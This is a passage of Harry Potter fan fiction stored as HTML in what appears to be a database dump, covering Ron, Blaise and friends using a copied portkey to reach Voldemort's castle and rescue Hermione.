than Doug.&quot;</p>\n\n<p>&quot;He understands Harry. He&#8217;s just the logical one. In this century, love at 15 seems like a fleeting moment. We see so much more and live a lot longer. It would be unbelievable for many to say they found their one true love.&quot; She pressed her finger against my lips, not allowing argument. &quot;But I&#8217;m an idealist. Love conquers all. There are no boundaries, time, space, or whatever description you use for love. Nothing can compare to love. So actually I do understand you more because I&#8217;m a dreamer. But Doug, he understands the real thing. He knows when there is genuine love. He can see.&quot;</p>\n\n<p>&quot;Do you think he does see it?&quot;</p>\n\n<p>&quot;If he didn&#8217;t, you wouldn&#8217;t have entered into our house.&quot; </p>\n\n<p>&quot;Thank you Belle,&quot; I kissed her cheek.</p>\n\n<p>&quot;No, thank you Harry. You gave the best thing a mother could ask for. You gave my daughter love when she gave it out willingly to you as well.&quot;</p>\n\n<font size="3">\n\n<p></p>\n\n</font><p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p>(Ron POV)</p>\n\n<p>	&quot;What do you mean, we can&#8217;t go!&quot; Harry screamed as the Order crowded around us. We had finally assembled together, while the adults planned to save my best friend. They took charge of the situation, deciding it was out of our hands. We were too young to go on this mission. All the work we did this past year was nothing to them. Our sweat, our labor, our yearning desire to fight, was being suppressed. They wanted us to stay. They believe it was too dangerous. They thought we were unable to protect ourselves. </p>\n\n<p>	&quot;Harry calm down,&quot; my dad placed his hand on Harry&#8217;s shoulder. Flinching the touch like fire, he glared directly at the man I adored so much.</p>\n\n<p>	&quot;Potter, stop with the whining. You&#8217;re staying!&quot; Moody stood ready to leave. </p>\n\n<p>	&quot;But,&quot; Harry started to chase the leaving Order. Pushing his hand out, Professor Dumbledore stopped him.</p>\n\n<p>	&quot;They are right Harry. It is too dangerous. Let the Order and Aurors handle it. Hermione will be back.&quot; Turning to Professor Figgs, he lifted his hand gently. &quot;I believe it is time Arabella, Remus. May you all be safe.&quot; Then in a blur, we were felt alone in the safe Hogwarts halls. </p>\n\n<p>	&quot;I can&#8217;t believe this!&quot; Harry shouted, causing an echo down the corridor. &quot;We need to go.&quot;</p>\n\n<p>	&quot;But we have no clue how. I mean, they didn&#8217;t tell us, where the portkey was going.&quot; Ginny said, trying her best to keep up with Harry and I. Poor Neville was dragged behind her, without the knowledge of how ready we were to fight.</p>\n\n<p>	&quot;We could follow them.&quot; I voiced, hoping to help some how.</p>\n\n<p>	&quot;Ron!&quot; Harry&#8217;s eyes gleamed. &quot;You&#8217;re a genius.&quot;</p>\n\n<p>	&quot;We can follow Mundungus. He said he needed to fly back with Tonk&#8217;s.&quot; Ginny added with delight. &quot;I wonder where Blaise is?&quot;</p>\n\n<p>	&quot;Who cares,&quot; I grunted.</p>\n\n<p>&quot;She&#8217;s the one saying how much we needed to save Hermione. But I don&#8217;t see her anywhere. I knew we couldn&#8217;t trust her.&quot; Harry huffed.</p>\n\n<p>&quot;Umm&#8230;how are we going to follow them?&quot; Neville asked, with his face paling at the idea.</p>\n\n<p>&quot;With our wings,&quot; I spat. &quot;Neville, we are wizards. We can use our brooms.&quot;</p>\n\n<p>&quot;Come on,&quot; Harry led the way. &quot;Before they leave.&quot; Soon we found ourselves running for the Quidditch broom closest. Anxiously we swung the doors open, revealing nothing but a scrape of paper. Bending down, Harry read the note out loud.</p>\n\n<b><p>Harry, Ron, and whoever follows their stupid schemes,</p>\n\n<p>	As much as we know you want to help, you cannot go. He&#8217;s doing this to hurt all of you. We are not going to make it easy for him. Hermione will be back. We promise on our honor.</p>\n\n<p>Remus and Sirius</p>\n\n</b><p></p>\n\n<p>&quot;Argh!&quot; Harry threw the letter, crumbled on the ground.</p>\n\n<p>&quot;What do we do now?&quot; Neville voiced meekly, receiving glares from Harry and I.</p>\n\n<p>&quot;First, you don&#8217;t listen to Sparky and his wild ideas.&quot; We turned to see Blaise smirking with her arms crossed before her chest.</p>\n\n<p>&quot;And we listen to you?&quot; Harry retorted before I could.</p>\n\n<p>&quot;Yes, because seriously this idea was pathetic.&quot; She waved at the empty closest.</p>\n\n<p>&quot;Well at least we were thinking of something. What have you been doing? Nothing, but sulking!&quot;</p>\n\n<p>&quot;At least, I&#8217;m not whining around like the world owes me favors!&quot;</p>\n\n<p>&quot;Look!&quot; I shouted, wondering if this is how Harry felt whenever Mione and I fought. &quot;Could we get to the part where we help save Hermione?&quot;</p>\n\n<p>&quot;Certainly,&quot; she pulled out a small box, proudly. &quot;We have a portkey.&quot;</p>\n\n<p>&quot;What!&quot; We all asked in unison.</p>\n\n<p>&quot;Unlike you Gryffindor&#8217;s, I went for the simplest method.&quot;</p>\n\n<p>&quot;How did you get it?&quot; Ginny observed it closer.</p>\n\n<p>&quot;I copied the one they sent Professor Figgs. While you all planned to save her heroically, I decided to go for more reassuring plan.&quot;</p>\n\n<p>&quot;That&#8217;s dark arts,&quot; Neville gulped.</p>\n\n<p>&quot;Yes it is.&quot; Blaise glanced at us. &quot;Are you scarred to use the dark side&#8217;s ways?&quot;</p>\n\n<p>&quot;Why should we trust you?&quot; I sneered.</p>\n\n<p>&quot;As hard as it is for you to comprehend this, I will explain again. I am Hermione&#8217;s friend. I do not care if she&#8217;s a muggleborn Gryffindor. I care for her. I promised her parents I would get her back. So either, you can get off your high horse and help me, or I can take all the glory myself.&quot;</p>\n\n<p>&quot;Rather Gryffindor of you.&quot; Ginny teased lightly.</p>\n\n<p>&quot;Call it Slytherin selfness. I do what I want.&quot;</p>\n\n<p>&quot;All right.&quot; Harry spoke evenly. &quot;We do this together. We save Hermione as a team.&quot;</p>\n\n<p>&quot;Good,&quot; she placed the object in her robe. &quot;Let&#8217;s go.&quot;</p>\n\n<p>&quot;Where?&quot; I asked amazed how quickly she could walk.</p>\n\n<p>&quot;We need to know when Professor Dumbledore leaves for the Ministry. Then we can use the portkey.&quot;</p>\n\n<p>&quot;Why not now?&quot; Abruptly she stopped, with Neville and Ginny impacting into me.</p>\n\n<p>&quot;We can not use the portkey without the headmaster&#8217;s permission. Like apparation, you can not do it in or out of Hogwarts.&quot; Resuming her pace, she seethed angrily. &quot;Honestly does no one in this school read. Its in Hogwarts A: History!&quot; Her tone reminded me of Hermione so much it hurt.</p>\n\n<p>&quot;No, just bookworms.&quot; I battered loudly.</p>\n\n<p>&quot;I see why she thinks you&#8217;re so funny.&quot; She grinned sarcastically.</p>\n\n<p>&quot;Why thank you Blaise, you actually sound nice.&quot;</p>\n\n<p>&quot;Hardly,&quot; she rolled her eyes. Finally we reached the Headmaster&#8217;s office in minutes. Pulling out an orange vile, Blaise threw the bottle at the wall. Slowly the stone melted away, leaving a glass like material. In front of us stood the headmaster and deputy headmistress. They appeared unaware of our presences, even though we could see them clearly.</p>\n\n<p>&quot;What was that?&quot; Harry whispered sounding very amazed at her skills.</p>\n\n<p>&quot;It&#8217;s a little something I picked up.&quot; Her eyes gleamed in mischief. Reaching into her pocket, she clutched an Extendible ear my brother&#8217;s had made.</p>\n\n<p>&quot;Where did you get that?&quot; I felt my eyes bulged out. </p>\n\n<p>&quot;I readjusted a potion your brother&#8217;s were working on,&quot; she pressed against the wall. &quot;Now shut up.&quot; Awkwardly we sat around waiting for her to explain her actions. Minutes seem to pass before Blaise finally spoke.</p>\n\n<p>&quot;Potter, when you see Professor Dumbledore apparate, touch the box.&quot; I suddenly felt Blaise grab my hand. &quot;Everyone hold hands!&quot;</p>\n\n<p>&quot;But you said no one could apparate out of Hogwarts.&quot; I ignored the tingling sensation, she sent me.</p>\n\n<p>&quot;Why are we holding hands?&quot; Harry stated confused.</p>\n\n<p>&quot;Because the portkey is made to active at one person&#8217;s touch. Since you&#8217;re the strongest one here, we follow your lead.&quot;</p>\n\n<p>&quot;But,&quot; before I could continue, Harry scrambled when the professor disappeared. Feeling that harsh tug, we tumbled forward into the unknown. <i>Merlin! Hermione here we come.</i></p><i>\n\n<p>	</p>\n\n</i>\n\n<p></p>\n\n '),
	(239, 21, ' <p>Disclaimer: Certainly not mine.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Well folks after this chapter, there will be one more and that&#8217;s it. I just want to thank everyone for enjoying this story, as much I have liked writing it. A great big thanks to my beta readers, Malu and Summer. I would be lost without you. Thank you everyone for their reviews, and please keep them coming. Anyway here it is and enjoy.</p> The Middle of Understanding <p>Chapter 20</p>\n\n<p><b><u>Saved at Last?</u></b></p>\n\n<p><b></b></p>\n\n<p>(Blaise POV)</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;They sure know how to pick the best locations to stay.&#8221; Weasley stated staring straight across the deep dark waters. Isolated on the distant island, sat a towering castle. I dusted the sand off my robe before answering him.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s the evil man complex. They need something to compensate for their lack of ability to control over everyone.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where did you come up with that idea?&#8221; He answered, still unconvinced.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Reading,&#8221; I shrugged. &#8220;Where is everyone?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Over here,&#8221; I turned to hear Ginny call. Peering around the large jutted stone, I saw three bodies crumpled together.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That looks comfortable.&#8221; Ron stated with a full smile across his face. I would be lying if I said he wasn&#8217;t attractive doing so. Shaking that thought out of my mind, I walked over helping the entwined figures.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Finally, all standing and separated, we squinted across the sea with doubt. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How are we going to get there?&#8221; Longbottom voiced the question in my head. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We can swim.&#8221; Potter said, trying his best to keep calm.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, look at how far that castle is. We&#8217;d drown from exhaustion.&#8221; Weasley threw a pebble making it skip three times.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I have some gillyweed.&#8221; Turning from the castle, they stared dumbfounded at me.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What do you not have under your robes?&#8221; Weasley asked astonished.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wouldn&#8217;t you like to know,&#8221; I teased, happily seeing the three boys blush. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Blaise,&#8221; Ginny tugged on my robe. &#8220;Do you have enough for all of us?&#8221; She changed the subject quickly.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes,&#8221; I gave them each the weed. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;There&#8217;s a sewer tunnel we can swim into.&#8221; Potter started taking off his robe. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How in the world can you see that?&#8221; Weasley glared at Neville for staring at his sister.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Its right there.&#8221; He pointed out. We all squinted seeing nothing but pitch black. Shaking our heads, we agreed, since he was the only seeker out of all of us.&nbsp; Taking my wand, I quickly changed my robe into a wet suit.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Giving them a look of obviousness, we prepared for the long swim ahead. Before jumping in, Longbottom finally asked. &#8220;What do we do once we get in?&#8221;</p>\n\n<p>(Hermione POV)</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I felt my mind was torn between two voices. My own was chained in the deep, dark corner of my subconscious. Then there was that voice, which took control of my whole being. Every time the freezing pain would leave, I would hear him. I was but a puppet in his cruel game. I did what he wanted without question. I acted as another person. All power I had over of myself was gone. And when I did have those few glimpse of my sanity, I felt sicken at my own lost of will. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But at this very moment I had to act fast. They had captured a woman with dark exotic features. I searched my brain, hoping to remember who she was. Yet the only power I had left was to keep that looming voice away. Struggling, I turned my head from the over grown snakes feet and saw those wrenched death eaters throwing her to the ground.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She was in pain. Her face was filled with tears and there was a blue bruise forming on her left eye. She was screaming at them to stop them from attacking another person. Staring only at the man beside her, she pushed through the crowd of thugs beating the weakened man.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Remus!&#8221; She cried, rocking the bloody figure in her arms. &#8220;Why? Why did you follow me?&#8221; Hearing the name, I felt something in my memory turn. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Are you alright Hermione?&#8221; The caring Professor kneeled down, handing her handkerchief.</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m <b>hiccup</b> fine.&#8221; She brushed the large tear away.</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Funny, usually when a lady cries it means she&#8217;s sad.&#8221; He paused intentionally. &#8220;Or maybe hurt.&#8221;</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, really Professor Lupin I&#8217;ll be fine. Its nothing I&#8217;m not used to.&#8221;</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ah, I see. Well, would you like to join me for tea? Harry and Ron will be meeting me too.&#8221; Eyes wide at the names, she shook her head in response. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I have to study, but thank you sir for the invitation.&#8221; Standing from the cold floor, she turned to leave the empty hall.</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione,&#8221; her professor called out. Stopping at her name, she listened to what he had to say. &#8220;Friends are there for all the good and fun times. But a true friend is the one who can point the wrongs and flaws and, yet still support them.&#8221; He smiled sweetly towards her. &#8220;You&#8217;re an amazing friend Hermione. Don&#8217;t let anyone tell you different.&#8221;</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i>&#8220;Remus,&#8221; I whispered to myself. Luckily no one heard me because everyone&#8217;s focus on him and who I assumed was Professor Figgs.</p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i>&#8220;Tie them,&#8221; the voice ordered. Fighting to be together, they strived to hold on. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t even think about touching me Peter.&#8221; the battered Remus said, and then spat towards Peter&#8217;s small frame.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It would be wise not to struggle Moony. The dark lord has been most gracious in not killing you on sight.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You have no right in calling me that name. Back off!&#8221; He bit roughly into Peter&#8217;s arm.&nbsp; Peter screamed in pain, while another figure behind quickly smacked Remus down.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Stop! Please stop hurting him.&#8221; Professor Figgs begged, crawling on her knees. &#8220;I&#8217;m here at your will. Please just stop.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That is enough,&#8221; his eerie tone commanded. &#8220;I must say cousin, you do choose the best mates. If I remember correctly, your last one died the same way as this one.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, please.&#8221; Her body was hunched over his. &#8220;Please don&#8217;t&#8221; Moving with hidden strength, Remus raised his head slowly.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t beg love. He doesn&#8217;t deserve such a tone.&#8221; Remus looked up boldly staring at the Dark Lord&#8217;s face. &#8220;You made all those I love suffer. I won&#8217;t let you do the same to her.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You are in no position to say such things.&#8221; Everyone turned towards Professor Snape, who was lurking in the far corner. &#8220;Master, may I have the pleasure in killing him?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;NO!&#8221; Professor Figgs shouted. &#8220;I&#8217;m here now. You promised not to hurt anyone if I came.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, I did say that.&#8221; He directed at the professor. &#8220;Severus, not now.&#8221; His face contorted in to a smile. &#8220;But for your loyalty, you may have the pleasure later.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It is time your lordship.&#8221; Another figure came from the hidden door. Gazing away from my professors, I was most shocked to see kindhearted Winston among the crowd.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good,&#8221; his tough limbs moved from his throne. &#8220;Tomorrow the world shall see my return.&#8221; With his ill long fingers, he grabbed the dagger handed from Peter&#8217;s hands. Walking towards Professor Figgs, I knew I had to do something. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pushing through the barriers of my own mind, I jolted my body forward. &#8220;NO!&#8221; I landed in front of the couple. &#8220;Leave&#8230;them&#8230;alone.&#8221; I was shaking from controlling my voice.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione?&#8221; Remus asked, shocked at my appearance. My hands and knees were raw from crawling on the hard, cold stone. Bruises and dried blood were smeared across my face, while only my limp hair looked clean. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What have they done to you?&#8221; I heard Professor Figgs whisper to her self.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You filthy, pathetic excuse of a wizard.&#8221; Remus screamed, struggling to rip the rope around him. &#8220;When I get my hands I you, you&#8217;ll pray that Harry finished you off.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re in no position to threaten me.&#8221; He pointed his wand towards Remus. &#8220;Crucio.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;NO,&#8221; I jumped, feeling the familiar pain impact into my body. Unlike other times, this one was shorter in period. Vision completely blurred, I could only feeling someone covering me. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Then the commotion started all around us. I could hear hexes being shot and people shouting names. In the distance, a door slammed and windows broke. The room seemed to fall apart as the conflict occurred. Finally regaining some of my sight, I turned over to see Winston trying to lift me.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Can you move? We need to get out of here.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re a wizard?&#8221; I mumbled at him.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No time for explanations. I&#8217;ll tell you later.&#8221; He started dragging my feet. &#8220;Come on, I don&#8217;t know how long these kids can last.&#8221; <i>Kids?</i> Before I could ask him, a flash of blue light hit us from behind. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We don&#8217;t like traitors. I will enjoy killing you.&#8221; A deep voice yelled, pointing his wand at Winston. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t think so. Stupfey!&#8221; I looked up to see Ron, smiling towards us. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron,&#8221; I felt myself smile for the first time. &#8220;What&#8217;s going on?&#8221; He was lifting Winston, while trying his best to hold me. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mione, don&#8217;t ask. Just run.&#8221; Suddenly white light, flashed passed us hitting a death eater beside us.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;For once I agree with him,&#8221; Blaise appeared helping me stand. &#8220;Let&#8217;s go!&#8221; Swiftly we moved, towards the dead end of the room. Looking up I saw a tiny balcony, which was well hidden in the dark room. Roughly opening my mouth, Blaise shoved something into my mouth. &#8220;Chew and hold on to me,&#8221; instantly I felt I was floating in the air. Gazing down, I realized I was.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Am I dreaming?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Just another invention from the Weasley Twins,&#8221; Blaise gripped my waist with more force. &#8220;Stick your arm out.&#8221; Obediently I listened, waiting for the next surprise. Then I felt those familiar arms grasp around me. Opening my eyes, I stared straight in to pools of green.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry,&#8221; I murmured fearing this was another dream unanswered. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Its me. Its really me.&#8221; Crashing his lips towards mine, the tingling sensation returned in my body.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Pull faster!&#8221; Ron cried out. Whipping around, Harry quickly helped Blaise with the rope hanging off the edge. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Stop them!&#8221; Voldemort shouted at Ron and Winston. Quickly I ran to the edge, trying to reach for their arms. Hexes zoomed at us, barely missing our heads. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Incendio,&#8221; I heard Ginny&#8217;s voice from the barricade she created from fallen stones. </p>\n\n<p>&#8220;Stupfey!&#8221; Neville yelled, guarding Professor Figgs and Remus. Shifting another broken stonewall, he tried his best to protect the defenseless two.</p>\n\n<p>&nbsp;Robes catching on fire, the usually cold death eaters screamed in fear of being burnt. While others were surprisingly dodging Neville&#8217;s hexes left and right.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron,&#8221; I grabbed his hand with all my might. From behind, Harry covered my arms, helping me with Ron&#8217;s weight. Leaning back, the three of us stared amazed at each other at being together again.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;A little help here,&#8221; Blaise shouted at us. Automatically Ron took the rope, pulling Winston over the edge. We all breathed heavily from the relief of being out of harms reach. Yet the knowledge that we were still stuck was plainly evident.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You aren&#8217;t the Ministry are you?&#8221; Winston spoke clearly still shocked at their appearance.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, we followed them. They should be arriving soon.&#8221; Harry stated petrifying a death eater who was nearing Ginny. &#8220;We need to get them out of there.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll take care of that.&#8221; Blaise answered confidently. &#8220;Just get everyone ready to leave.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How are we going to do that?&#8221; I asked starting to feel light headed.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;There&#8217;s a opening right there on the roof. No matter, don&#8217;t let go of my hand.&#8221; Harry&#8217;s grip felt like iron. &#8220;Zabini, on your count.&#8221; Swiftly Ron and Winston crawled towards the crack, while Harry wrapped his arm around my waist. Tapping her feet, Blaise counted out loud. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;1&#8230;&#8221; She mouthed towards Ginny and Neville.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;2&#8230;&#8221; They nodded holding on to a piece of something. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;3&#8230;!&#8221; She shouted, throwing a bomb towards the group of death eaters below us. Clouds of smoke filled the room as chaos ensued. Hearing the 